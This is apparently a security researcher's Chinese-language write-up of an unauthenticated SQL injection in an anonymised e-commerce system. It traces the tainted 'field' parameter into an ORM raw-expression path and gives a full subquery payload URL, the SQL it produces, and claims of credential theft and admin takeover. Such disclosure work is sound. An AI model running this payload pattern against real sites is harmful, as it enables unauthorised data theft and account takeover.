0x00 背景

某商城系统(下称 X 系统)的一个前台列表接口,允许调用方通过一个 field 参数指定要查询的列,并把这个值原样交给底层 ORM 拼进 SQL 的 SELECT 列表,最终形成一个未授权、回显型(in-band)的任意读 SQL 注入

1
2
3
4
5
6
7
8
9
[路由] 请求命中入口 → 定位到未授权的列表方法

[Source] 请求里的 field 参数
│ (Sanitizer: 全局 htmlspecialchars —— 对本 Sink 无效)

[传播] 控制器透传 → 服务层无白名单 → 交给 ORM field()


[Sink] field() → fieldRaw() → 原样拼进 SELECT 列表(未参数化) → PDO 执行 → JSON 回显

0x01 路由:一个请求是怎么进到漏洞方法的

这套框架用「多应用(multi-app)+ 路由参数」分发请求。以一个虚构的 URL 为例(真实路由已隐去):

1
2
3
https://shop.example.com/svc.php?s=goods/listdata
└──┬──┘ └─────┬──────┘
入口文件 路由(控制器/方法)

拆开看:

  • svc.php = 入口文件
  • ?s=goods/listdata = 这个 app 内部的路由,格式是 控制器/方法
    • goods → 控制器类 Goods(路由小写,类名首字母大写)
    • listdata → 方法 ListData()

请求进来后,框架按这几步分发(鉴权就在第 4 步):

1
2
3
4
5
1. 命中入口 svc.php        →  绑定 app = 接口应用
2. 解析 s=goods/listdata → 目标 = Goods 控制器的 ListData 方法
3. 实例化控制器 → 先执行其「基类构造函数」
4. 基类构造函数做了什么? → 接口应用的基类【没有调用登录校验】← 未授权的根源
5. 执行 ListData() → 方法体内 input() 取参数 → field 一路进 Sink

用伪代码看这条链(已脱敏):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 「接口」应用的基类:构造函数里没有 IsLogin()
class Common {
public function __construct() {
// 各种初始化…… 但【没有】登录/权限校验
}
}

// 路由 goods/listdata 命中的控制器
class Goods extends Common {
public function ListData() {
$params = input(); // ← Source 从这进来(见 0x02)
// …… field 透传给 ORM(见 0x03 传播 / 0x04 Sink)
}
}

所以这里的「未授权」请求直达 ListData(),顺手就把 field 喂进了查询。

对比一下:同样一个 ListData,假如挂在后台入口下,它的基类构造函数会调用 IsLogin() + IsPower(),未授权请求第 4 步就被踢出去了。

0x02 Source(污点源)

这里是上面那个列表方法接收的 field 参数,经框架请求助手(input() 一类)取出:

1
2
$params = input();              // ← HTTP 请求,未授权可达
// $params['field'] 完全由调用方控制

特征:未授权可达字符串类型完全可控。既无需身份、又直接进查询构造,是高危污点源。

0x03 传播路径

污点从 Source 到 Sink,中间没有被清洗

1
2
3
4
5
6
// 控制器:把请求参数整体透传(只补了分页/where,没动 field)
$data = ListService::getList(array_merge($params, ['m'=>..., 'n'=>..., 'where'=>$where]));

// 服务层:取出 field,无白名单、无类型转换,直接交给 ORM
$field = empty($params['field']) ? '*' : $params['field']; // ← 污点原样保留
$db->field($field)->where($where)->limit($m, $n)->select();

关键:控制器的 array_merge 只覆盖了 m/n/where没覆盖 field;服务层也没做列白名单。污点一路无损传到 field()

0x04 Sink

这套 ORM 的 field() 方法,为了让开发者能写 field('COUNT(*) as c') 这类原始表达式,留了个分支:

1
2
3
4
5
6
function field($field) {
if (is_string($field) && preg_match('/含 ( 或 引号 等特殊字符/', $field)) {
return $this->fieldRaw($field); // ← 命中:整串包成 Raw,后续原样输出、不参数化
}
// 否则:按逗号拆分、逐个加反引号转义(安全)
}

只要 field 值里带一个左括号,就进 fieldRaw()——它把整串包成「原始表达式」对象,生成 SQL 时逐字节原样输出。而子查询天然含 (,于是 field = 合法列,(子查询) 直接命中这条 raw 路径。

0x05 完整 payload

1
https://shop.example.com/svc.php?s=goods/listdata&field=id,(SELECT database()) AS x

SQL 最终执行

1
SELECT id,(SELECT database()) AS x FROM `xxxx` WHERE `is_enable` = 1 ORDER BY `id` DESC LIMIT 0,20

0x06 影响与危害边界

能做到(严重): 未授权任意读全库(管理员凭证哈希与盐、令牌、用户 PII、订单、各类密钥);配合系统一处「令牌即身份」鉴权,注入读出管理员令牌后,可在能访问后台入口的部署上接管后台

image-20260630135159402

image-20260630134704361